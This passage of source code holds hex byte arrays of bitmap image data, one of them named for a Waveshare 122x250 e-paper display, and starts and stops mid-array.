0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X63, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XE3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XC3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XE3, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XE7, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XC7, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF ] waveshare_122x250 = [ 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X03, 0XFF, 0XEF, 0XFB, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XFF, 0XC7, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0X0F, 0XFF, 0X81, 0XC0, 0X7F, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X00, 0XFF, 0XFF, 0X03, 0X80, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X07, 0XFF, 0XFC, 0X07, 0X00, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X7F, 0XFF, 0XF8, 0X0C, 0X00, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE3, 0XFF, 0XFF, 0XF0, 0X18, 0X00, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X30, 0X00, 0X00, 0X07, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XF0, 0XF8, 0X3F, 0XFF, 0XDF, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X0F, 0XF9, 0XFC, 0XFF, 0XFF, 0X0F, 0XFF, 0XFF, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 